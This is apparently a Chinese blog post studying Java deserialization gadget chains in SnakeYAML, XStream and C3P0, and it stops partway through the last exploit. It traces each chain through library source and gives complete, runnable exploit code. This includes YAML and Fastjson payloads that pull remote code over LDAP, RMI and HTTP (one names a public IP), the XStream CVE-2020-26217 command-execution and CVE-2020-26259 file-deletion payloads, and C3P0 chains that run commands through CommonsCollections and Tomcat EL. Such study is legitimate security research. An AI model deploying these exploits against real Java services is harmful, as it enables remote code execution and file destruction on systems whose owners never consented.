Java反序列化链子合集2
前言
之前的文章不让继续写了,开一篇新的继续记录自己的学习。
Snakeyaml
SnakeYAML 是一个 Java 中的 YAML 解析器和生成器库。YAML(YAML Ain’t Markup Language)是一种人类可读的数据序列化格式,经常用于配置文件和数据交换,它提供了一组简单易用的 API,用于读取和写入 YAML 格式的数据。它可以将 YAML 数据解析为 Java 对象的层次结构,并且可以将 Java 对象序列化为 YAML 格式。SnakeYAML 支持很多 YAML 特性。
yaml主要分为三种数据类型:
- 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)
- 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)
- 纯量(scalars):单个的、不可再分的值
因为Sankeyaml能够通过Tag标签自定义类名称,并且在反序列化过程中会调用类中的set()方法,导致了反序列化触发RCE的漏洞,这有点与fastsjon的反序列化漏洞相类似,但是官方并不承认这是一种漏洞,它认为这是属于这个库功能的正常行为之一,下面有分析下Sankeyaml的反序列化链子的触发过程。
JdbcImpl链子
前面fastjson
中JdbcRowImpl
的链子这样同样可以使用,调用setDataSource
和setAutoCommit
控制lookup接口的值接入触发RCE,利用这条链子简单分析下SankeYaml触发反序列化的流程。
payload如下,通过!!定义一个完整路径的类作为Tag,然后跟上两个键值对:
public static void main(String[] args){
String poc="!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://120.79.29.170:1389/Basic/Command/Base64/Y2FsYw==, autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(poc);
}
- 首先进入
load()
方法中会进入到loadFromReader()
方法中,传入的参数为一个Object
对象和新创建的StreamReader()
方法的结果。
- 进入到
StreamReder()
方法中,它其实就是返回了一个新的对象,上面标记了payload的长度length
,以及赋上了mark
,next
等值,应该是为了方便后面的处理
- 在
loadFromReader()
方法中,创建了一个Composer
对象,然后调用了setSingleData()
方法
- 在
ParseImpl()
构造方法中,调用了ScannerImpl()
的构造方法,赋上了一些值,应该也做上一些标记和配置,解析Yaml的数据流
- 关键在于通过调用构造器方法进入了
getSingleData()
中,在这个方法中会调用getSingleNode()
解析并创建一个节点,这个节点中会有我们自定义的Tag
标签和里面的键值对key-velue
以及一些解析的标记等等,经过判断Tag
标签是否为空以及根Tag
是否不会空为进入了constructDocument
方法。
- 通过
constructDocument
方法构造解析节点的信息,里面会尝试将node
节点调用constructObject
方法将节点解析为Java的Object
对象
- 它是如何转换为Java对象的呢,它先判断当前属性中是否存在与当前节点对应的Java对象,如果存在则返回该对象,如果不存在则调用
constructObjectNoCheck
方法创建。
constructObjectNoCheck
方法中,判断当前节点是否无法构造后,如果可以,则将它添加到recursiveObjects
中便于后面递归调用,然后调用getConstruct()
方法获取节点的构造器,从constructedObjects
是否存在节点构造的Java对象,如果不存在,调用constructor.construct
构造节点。- 在
construct()
方法中继续调用getConstruct
获取到节点构造器后,进入Construct()
方法中进行构造
- 将节点强制转换为
MappingNode
后,判断节点的类型是否属于Map、Collection
类型,这里显然都不是,就会调用newInstance()
方法实例化node节点为JdbcRowSetImpl
对象,随后进入判断当前节点需要两步构造,不需要则进入constructJavaBean2ndStep
方法,需要则直接返回对象。
- 最终在
constructJavaBean2ndStep
方法中,经过一堆对ScalarNode
的操作后,会来到property.set()
方法中
- 在
property.set()
方法中传入了JdbcRowSetImpl
对象,判断是否可写,可写则会调用getWriteMethod().invoke(object, value)
触发JdbcRowSetImpl
中的方法,这里是setDataSourceName
- 然后就会继续迭代循环,继续同样的方法取出里面payload中的key值,经过
property.set()
后变成了setautocommit()
,最终触发setautocommit()
导致了JNDI注入。
总的来说,SankeYaml的反序列化漏洞就是会将自定义的Tag
实例化为对象后,又会依旧调用里面的key
中的set方法,将value作为参数传入,导致了危险。
ScriptEngineManager
关于SPI机制,SPI(Service Provider Interface)机制是Java提供的一种服务扩展机制。它允许在不修改源代码的情况下,通过配置文件的方式替换或增加某个接口的实现类,它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。
下面来简单分析以下使用ScriptEngineManager
的SPI机制导致的反序列化漏洞。
public static void main(String[] args){
//String poc="!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://120.79.29.170:8080/KnsGKbzJ, autoCommit: true}";
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
- 前面与JdbcImpl链并没上面两样,一直都会来到
construct
方法中,这里的Node节点是SequenceNode
- 随后会来到
getClassForNode
方法中,从方法名就可以看出是从节点中获取Class
对象,首先获取的肯定是我们的Tag
标签的值。
- 通过反射的方式动态加载
Tag
标签指向的类,也就是ScriptEngineManager
- 继续下一步会来到
getConstruct
方法中,通过调用construct
方法来进行构造。
- 来到
construct
方法里面,在进行了Set、Collection、Array
等一系列判断之后,将构造器赋值到了一个构造器列表当中,然后将获取到的possibleConstructors获取到的第一个数组进行赋值并转换成Constructor类型,再遍历snode的值,逐个动态加载后面的ClassLoader、URL
类后,最终进行实例化
- 至于
ScriptEngineManager
的实例化,会先进入到构造方法中,将loader
赋值为我们的URLloader
,随后进入初始化,进行了一系列的赋值,进入到了initEngines()
方法中
- 当它来到
itr.next()
,会进入next()
方法,随后进入到nextService
里面
- 在
nextService
方法里面,会对SPI的接口进行动态的记载,并把URLClassloder作为参数传入
- 最终会实例化接口的实现类,导致了恶意类的命令执行
- 这里一共会走两次实例化,第一次实例化的是NashornScriptEngineFactory,第二次实例化才是POC的类,第一次进入会将service中的类信息找到,赋值返回。
Xstream反序列化
- XStream是一个Java库,用于在Java对象和XML之间进行序列化和反序列化操作。它可以将Java对象转换为可读的XML格式,并将XML格式的数据转换回Java对象。
Xstream主要分为四个编码策略:
- marshall : object->xml 编码
- unmarshall : xml-> object 解码
- 树编组程序(TreeMarshaller)
- Convert转换器和Mapping,将XML转换成Java对象。
- 下面拿CVE-2020-26217的官方payload进行简单分析,如下:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
简单理解下这个payload,一个map集合中,存在键值对,其中key和jdk.nashorn.internal.objects.NativeString
,entry的value为test,NativeString
里面又存在flags
属性和value
属性分别为0和Base64Data
,而这两个可以看作是jdk.nashorn.internal.objects.NativeString
的子元素,以此类推。
下面我们简单分析一下poc的解析流程和造成代码的原因:
- 首先程序会进入
unmarshal
方法,将xml语句进行Object的解码,传入的参数是通过Reader
流对象,读出了xml的内容
- 随后判断是否初始化了安全框架或黑名单,没有则输出不安全的语句,但是并不是终止程序执行。
- 进入start方法,应该是开始进行树的编组,
HierarchicalStreams
提供了一种基于流的API,用于遍历和操作这些XML流数据。它可以用于查找、遍历和更改XML数据,支持编写自定义读写器,并提供一些实用方法,例如读取属性和子元素值等。这里通过HierarchicalStreams
获取到了XML的类类型的Map
类。随后会进入到Convert
转换方法中
- 寻找到对应的转换器类型,
Map
对象对应的是MapConvert
转换器
- 经过了一系列的
convert
后,进入到MapConvert中的unmarshal
方法,实例化了一个Map对象,调用了populateMap
将xml实例化为一个Map对象
- 首先程序会进入
这里会将
Entry
放入到Map中,然后读出key和value,即NativeString
和test
放入到HashMap中。
- 因为
put
进入HashMap
中,要算计算hash,所以会调用NativeString#HashCode()
方法,会调用到NativeString#getStringValue()
获取值,会调用get()
方法去获取值
- 在
get()
方法中,执行了getDataSource()
获取Base64Data
的dataHandler
的值,也就是poc中的XMLMessage$XmlDataSource
,随后就会执行getInputStream()
方法,获取到这里的is为SequenceInputStream
,里面嵌套了poc中的iterator
等
- 下一步进入
SequenceInputStream#readFrom
方法中,调用read()
方法读取字节流,对字节数组进行了一些异常的判断(空指针,索引超出等),进入到了nextStream
方法中
nextStream()
方法会循环遍历iterator迭代器的值,将key和value取出来。
- 然后就会调用
ServiceRegistry
类的advance()
方法来注册服务,如果iter
迭代器下一个节点不为空则进入循环,循环中将下一个节点获取出来,即这里事先构造好的ProcessBuilder
,而filter则为ImageIO$ContainsFilter
,进入到ImageIO$ContainsFilter#filter
中。
- 最终在
filter
方法中,来到了触发方法method.invoke()
,触发方法ProcessBuilder.start()
,执行command中的内容。
- 因为
- 也就是整条链是因为xml中的内容被恶意控制,当Xstream处理反序列化的时候构造了包含恶意对象类的
FilterIterator
,在遍历迭代器的键值的时候,最终通过ImageIO$ContainsFilter#filter()
中的method.invoke()
触发恶意类的调用。关键的一步是target.put()
方法中计算HashCode
,如果有其它的类能够也触发类似的循环,也可以用。 - 另一个payload任意文件删除则是在
close
控制了值,使得任意文件删除
import com.thoughtworks.xstream.XStream;
/*
CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host
when unmarshalling as long as the executing process has sufficient rights.
https://x-stream.github.io/CVE-2020-26259.html
Security framework of XStream not explicitly initialized, using predefined black list on your own risk.
*/
public class CVE_2020_26259 {
public static void main(String[] args) {
String xml_poc = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
" <contentType>text/plain</contentType>\n" +
" <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
" <tempFile>/tmp/CVE-2020-26259</tempFile>\n" +
" </is>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";
XStream xstream = new XStream();
xstream.fromXML(xml_poc);
}
}
- 唯一不同的是就是这里的控制是控制了
close()
方法,使得进入了ReadAllStream#close()
方法中,直接执行了文件的删除
更多漏洞的poc参考:Xstream-Security
C3P0链子简单分析
Java C3P0 是一个开源的 JDBC 连接池库,用于管理和提供数据库连接。它是对标准的 Java 数据库连接池(如 Apache Commons DBCP、HikariCP)的一个替代方案。
利用方式
- URLClassLoader
- JNDI
- Hex序列化字节加载器
URLClassLoader
使用ysoserial 中的C3P0
链中的代码来对整个漏洞触发流程进行简单的分析。
测试代码如下:
package ysoserial.payloads;
import java.io.*;
public class C3P0Test {
public static void main(String[] args) throws Exception {
C3P0 c3P0=new C3P0();
Object object=c3P0.getObject("http://127.0.0.1:8080/:Gtkrsjvp");
serialize(object,"c3p0.ser");
unserialize("c3p0.ser");
}
public static void serialize(Object obj,String path) throws IOException {
ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream(path));
outputStream.writeObject(obj);
}
public static void unserialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(path));
objectInputStream.readObject();
}
}
进入到
getObject
方法中,看一下整个方法的代码在干些什么public Object getObject ( String command ) throws Exception { int sep = command.lastIndexOf(':'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); } String url = command.substring(0, sep); String className = command.substring(sep + 1); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); return b; }
传入的参数是
URL
的值,计算出最后一个:
的索引位置,随后将url
和类命
提取出来分别赋值,最后调用映射创建了一个PoolBackedDataSource
类,并将connectionPoolDataSource
成员变量设置为PoolSource
新值,相当于提供了新的连接池,然后将PoolBackedDataSourceBase
对象返回。- 在
serialize
序列化的时候,会触发writeObject
方法,进入PoolBackedDataSourceBase
类中的writeObject
里面,
private void writeObject(ObjectOutputStream oos) throws IOException {
oos.writeShort(1);
ReferenceIndirector indirector;
try {
SerializableUtils.toByteArray(this.connectionPoolDataSource); //转换报错,进入到catch方法中
oos.writeObject(this.connectionPoolDataSource);
} catch (NotSerializableException var9) {
MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);
try {
indirector = new ReferenceIndirector();
oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
} catch (IOException var7) {
throw var7;
} catch (Exception var8) {
throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + var8.toString());
}
}
oos.writeObject(this.dataSourceName);
在尝试使用SerializableUtils
将PoolSource
转换成字节数组的时候,因为PoolSource
没有继承序列化的接口,因此无法进行序列化,所以进入到catch
方法中,接而新创建ReferenceIndirector
对象,调用它的indirectForm
方法并将返回值写入对象。
- 在
indirectForm
方法中,它利用this.connectionPoolDataSource
类获取到一个Reference
,并赋值给了var2
然后传递进去ReferenceIndirector.ReferenceSerialized
中
public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}
在
ReferenceSerialized
方法中,会初始化了四个值,分别是this.connectionPoolDataSource
的引用和3个NULL
,返回就将ReferenceIndirector
写入了进去,因此最终写入到文件中的是一个this.connectionPoolDataSource
获取到的引用ReferenceSerialized(Reference var1, Name var2, Name var3, Hashtable var4) { this.reference = var1; this.name = var2; this.contextName = var3; this.env = var4; }
触发反序列化的
readObject
方法中private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { short version = ois.readShort(); switch(version) { case 1: Object o = ois.readObject(); if (o instanceof IndirectlySerialized) { o = ((IndirectlySerialized)o).getObject(); } this.connectionPoolDataSource = (ConnectionPoolDataSource)o; this.dataSourceName = (String)ois.readObject(); o = ois.readObject(); if (o instanceof IndirectlySerialized) { o = ((IndirectlySerialized)o).getObject(); } this.extensions = (Map)o; this.factoryClassLocation = (String)ois.readObject(); this.identityToken = (String)ois.readObject(); this.numHelperThreads = ois.readInt(); this.pcs = new PropertyChangeSupport(this); this.vcs = new VetoableChangeSupport(this); return; default: throw new IOException("Unsupported Serialized Version: " + version); } }
从读取流中读取出对象,判断对象是否属于
IndirectlySerialized
类,因为ReferenceSerialized
继承于IndirectlySerialized
,所以会进入在第一个getObject
方法中,ReferenceSerialized.getObject
方法,主要是用于创建一个上下文,并调用ReferenceableUtils.referenceToObject
将引用变成一个对象,传入的参数为this.connectionPoolDataSource
的引用public Object getObject() throws ClassNotFoundException, IOException { try { InitialContext var1; if (this.env == null) { var1 = new InitialContext(); } else { var1 = new InitialContext(this.env); } Context var2 = null; if (this.contextName != null) { var2 = (Context)var1.lookup(this.contextName); } return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
ReferenceableUtils.referenceToObject
正是漏洞的触发点,public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException { try { String var4 = var0.getFactoryClassName();//获取到URL中的类名称 String var11 = var0.getFactoryClassLocation(); //获取到URL ClassLoader var6 = Thread.currentThread().getContextClassLoader();//从上下文获取类加载器 if (var6 == null) { var6 = ReferenceableUtils.class.getClassLoader(); } Object var7; if (var11 == null) { var7 = var6; } else { URL var8 = new URL(var11);//使用定义的URL的值创建一个URL类 var7 = new URLClassLoader(new URL[]{var8}, var6);//创建URL类加载器 } Class var12 = Class.forName(var4, true, (ClassLoader)var7);//使用URL类加载器尝试加载恶意类,自动调用恶意类中的静态方法,触发漏洞,关键是控制var4和var7两个参数的值。 ObjectFactory var9 = (ObjectFactory)var12.newInstance();//将加载到的类实例化 return var9.getObjectInstance(var0, var1, var2, var3); } catch (Exception var10) { if (logger.isLoggable(MLevel.FINE)) { logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10); }
整个Gadget链子就为:
PoolBackedDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
ObjectFactory#getObjectInstance
完整的EXP如下:
package com.example.xstreamdemo;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0URLClassLoader {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("exploit","Gtkrsjvp","http://127.0.0.1:8080/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
C3P0 c3P0=new C3P0();
PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);//有参构造方法是public
Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.setAccessible(true);
connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0);
serialize(poolBackedDataSourceBase,"c3p0.ser");
unserialize("c3p0.ser");
}
public static void serialize(Object obj,String path) throws IOException {
ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream(path));
outputStream.writeObject(obj);
}
public static void unserialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(path));
objectInputStream.readObject();
}
}
JNDI
Fastjson反序列化漏洞通过也会联合起C3P0链来进行漏洞触发,在CTF
中出现过很多次,其中lookup
接口导致了JNDI
注入是一种方式。Fastjson在反序列化的时候,可以自动调用所有的set
方法和部分特殊的get
方法,因此在C3P0
中也存在这样的恶意方法,导致了漏洞的触发。
在
JndiRefForwardingDataSource#dereference
中,会看到存在调用lookup
的代码,此处的jndiName
是从JndiRefDataSourceBase#jndiName
处得到,而JndiRefDataSourceBase#setJndiName
可以控制这个jndiName
private DataSource dereference() throws SQLException { Object jndiName = this.getJndiName(); Hashtable jndiEnv = this.getJndiEnv(); try { InitialContext ctx; if (jndiEnv != null) ctx = new InitialContext( jndiEnv ); else ctx = new InitialContext(); if (jndiName instanceof String) return (DataSource) ctx.lookup( (String) jndiName ); else if (jndiName instanceof Name) return (DataSource) ctx.lookup( (Name) jndiName ); else throw new SQLException("Could not find ConnectionPoolDataSource with " + "JNDI name: " + jndiName); }
- 往上找会发现只有一个
JndiRefForwardingDataSource#inner()
调用了dereference
private synchronized DataSource inner() throws SQLException
{
if (cachedInner != null)
return cachedInner;
else
{
DataSource out = dereference();
if (this.isCaching())
cachedInner = out;
return out;
}
}
继续向上走,会发现有两处地方调用了
inner
,分别是setLogWriter()
和setLoginTimeout
,但是可以看到setLogWriter()
参数是一个PrintWriter
类,不好处理,而setLoginTimeout
是一个int
数,容易处理,因此可以使用setLoginTimeout
完成整条链的触发。
整条链子如下:
JndiRefForwardingDataSource#setJndiName->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup
最终的EXP为:
package com.example.xstreamdemo;
import com.alibaba.fastjson.JSON;
public class C3P0Jndi {
public static void main(String[] args){
String text="{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"rmi://127.0.0.1:8080/Gtkrsjvp\", \"loginTimeout\":0}";
JSON.parseObject(text);
}
}
Hex序列化字节(二次反序列化)
二次反序列化在绕过黑名单的限制或不出网利用中有着举足轻重的作用,特别是在CTF
的一些题目中,绕过黑名单的过滤十分关键,而在C3P0
中,就存在一条链,能够通过传入HexCode
来达到二次反序列化的效果,简单分析如下:
在WrapperConnectionPoolDataSource类存在
setUpPropertyListeners
会调用parseUserOverridesAsString
方法用于解析这些连接池配置选项,并将其转换为字符串形式,以便在连接池的配置过程中使用。private void setUpPropertyListeners() { VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() { // always called within synchronized mutators of the parent class... needn't explicitly sync here public void vetoableChange( PropertyChangeEvent evt ) throws PropertyVetoException { String propName = evt.getPropertyName(); Object val = evt.getNewValue(); if ( "connectionTesterClassName".equals( propName ) ) { try { recreateConnectionTester( (String) val ); } catch ( Exception e ) { //e.printStackTrace(); if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e ); throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt); } } else if ("userOverridesAsString".equals( propName )) { try { WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); } catch (Exception e) { if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e ); throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt); } } } };
跟进这个方法,发现它对传入的字符串,将
HASM_HEADER
和userOverridesAsString
最后一位截取掉,然后将十六进制转换成字节数组,再强制转换成Map
的形式。private final static String HASM_HEADER = "HexAsciiSerializedMap"; public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException { if (userOverridesAsString != null) { String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1); byte[] serBytes = ByteUtils.fromHexAscii( hexAscii ); return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) ); } else return Collections.EMPTY_MAP; }
跟进
fromByteArray
方法,它将字节数组反序列化了。public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException { Object var1 = deserializeFromByteArray(var0); return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1; }
跟进
deserializeFromByteArray
,发现这个方法中能够读取输入流,然后进行readObject
触发反序列化(虽然方法显示已弃用),也就是说我们可以通过C3P0
链走到这里,传入一个其它链子的Hex
来触发二次的反序列化。/** @deprecated */ public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException { ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0)); return var1.readObject(); }
那么怎么才能调用
setUpPropertyListeners()
方法呢,在父类的setUserOverridesAsString
方法中,可以对userOverridesAsString
赋值public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException { String oldVal = this.userOverridesAsString; if ( ! eqOrBothNull( oldVal, userOverridesAsString ) ) vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString ); this.userOverridesAsString = userOverridesAsString; }
- 而里面的
vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
会根据给定的属性名称、旧值和新值触发属性更改事件,进而触发setUpPropertyListeners
方法,完成整条链子。
整个Gadget如下:
WrapperConnectionPoolDataSourceBase#setUserOverridesAsString->
WrapperConnectionPoolDataSource#setUpPropertyListeners->
C3P0ImplUtils#parseUserOverridesAsString->
SerializableUtils#fromByteArray->
SerializableUtils#deserializeFromByteArray->
readObject
比如使用CC3链子,EXP如下:
package com.example.xstreamdemo;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class C3P0CC3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//AnnotationInvocationHandler.readObject()->TransformedMap.checkSetValue()->ChainedTransformer.transform()->InvokerTransformer.transformer()->TemplatesImpl.newTransformer()->defineClass.newInstance()
TemplatesImpl templates=new TemplatesImpl();
Class templatesClass=TemplatesImpl.class;
Field _name=templatesClass.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"aiwin");
Field _class=templatesClass.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates,null);
Field _bytecodes=templatesClass.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test1.class"));
byte[][] codes={code};
_bytecodes.set(templates,codes);
Field _tfactory=templatesClass.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
org.apache.commons.collections.Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","aiwin");
TransformedMap transformedMap= (TransformedMap) TransformedMap.decorate(map,null,chainedTransformer);
Class AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object result=constructor.newInstance(Target.class,transformedMap);
String hex=byteArrayToHexString(serialize(result));
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
JSON.parse(payload);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream outputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(object);
return outputStream.toByteArray();
}
public static String byteArrayToHexString(byte[] byteArray) {
StringBuilder sb = new StringBuilder();
for (byte b : byteArray) {
sb.append(String.format("%02X", b));
}
return sb.toString();
}
}
上面的思路很显然能够作为fastjson除去bcel链子之后的一种不出网的利用思路
假如C3P0
链子没有fastjson可利用,然后又不出网的情况下,还可以使用一些其它的链子,在这篇文章中Java反序列化合集1提到过JDK高版本绕过的时候有一条tomcat的链子,通过Class.forName
动态加载BeanFactory
最终触发getObjectInstance
方法中的method.invoke
,前提是Tomcat的版本为8
引入依赖:
<properties>
<java.version>1.8</java.version>
<tomcat.version>8.5.35</tomcat.version>
</properties>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-el-api</artifactId>
<version>8.5.35</version>
</dependency>
EXP如下:
package com.example.xstreamdemo;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0Tomcat {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
return resourceRef;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
C3P0 c3P0=new C3P0();
PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);//有参构造方法是public
